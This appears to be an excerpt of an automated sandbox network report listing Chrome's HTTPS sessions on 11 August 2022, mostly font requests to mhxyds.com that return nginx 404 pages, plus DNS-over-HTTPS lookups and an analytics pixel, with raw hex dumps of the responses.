Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

288 118.27.105.118 443 192.168.11.20 59806 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14705 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:21 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:21 UTC 14705 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

289 118.27.105.118 443 192.168.11.20 60952 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14705 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:21 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:21 UTC 14705 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

29 172.64.145.85 443 192.168.11.20 50081 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 393 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df675796fbb38-FRA

2022-08-11 03:42:41 UTC 393 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 
01 00 01 00 00 00 e7 00 04 8e fa b3 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

290 192.168.11.20 64449 35.158.9.70 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14706 OUT GET /image.aspx?url=https%3A%2F%2Fmhxyds.com%2Fabout.html&title=About%20%7C%20Perpetual&res=1920x108
0&accountid=83202&rt=1724&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=60e5a47e-d465-5bdf-41f4-402
fa42d9b4c&rnd=41050 HTTP/1.1
Host: 83202.global.siteimproveanalytics.io
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: AWSELBCORS=1BF185CB12C799AC7E8F30E4356ECAB670474BBE589003797336CE4C220D28A5614DC7E
EC747F692D0A0C2A750D9EEAE4C03879C28C5495E651A5552CEF5FE46587B6FE465
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

291 35.158.9.70 443 192.168.11.20 64449 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14707 IN HTTP/1.1 200 OK
Cache-Control: max-age=0
Content-Type: image/gif
Date: Thu, 11 Aug 2022 03:43:21 GMT
Expires: Thu, 11 Aug 2022 03:43:21 UTC
Content-Length: 34
Connection: Close

2022-08-11 03:43:21 UTC 14707 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b 
Data Ascii: GIF89a,L;

Session ID Source IP Source Port Destination IP
Destination
Port

Process

292 118.27.105.118 443 192.168.11.20 62291 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:22 UTC 14707 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:22 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:22 UTC 14707 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

293 118.27.105.118 443 192.168.11.20 60471 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:22 UTC 14708 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:22 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:22 UTC 14708 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

294 192.168.11.20 64705 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:22 UTC 14708 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

295 192.168.11.20 58472 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:22 UTC 14710 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

296 192.168.11.20 55912 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:22 UTC 14711 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

297 118.27.105.118 443 192.168.11.20 64705 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:23 UTC 14712 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:22 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:23 UTC 14712 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

298 118.27.105.118 443 192.168.11.20 58472 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:23 UTC 14712 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:22 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:23 UTC 14713 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

299 118.27.105.118 443 192.168.11.20 55912 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:23 UTC 14713 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:23 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:23 UTC 14713 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.11.20 65244 142.250.203.206 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:36 UTC 32 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=94.0.4606.61&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3
D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda
X-Goog-Update-Updater: chromecrx-94.0.4606.61
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 172.64.145.85 443 192.168.11.20 60426 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 394 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6757d8b997b-FRA

2022-08-11 03:42:41 UTC 394 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 
01 00 01 00 00 00 86 00 04 8e fa ba a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

300 192.168.11.20 63135 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:23 UTC 14714 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

301 192.168.11.20 62253 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:23 UTC 14715 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

302 192.168.11.20 64333 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:23 UTC 14716 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
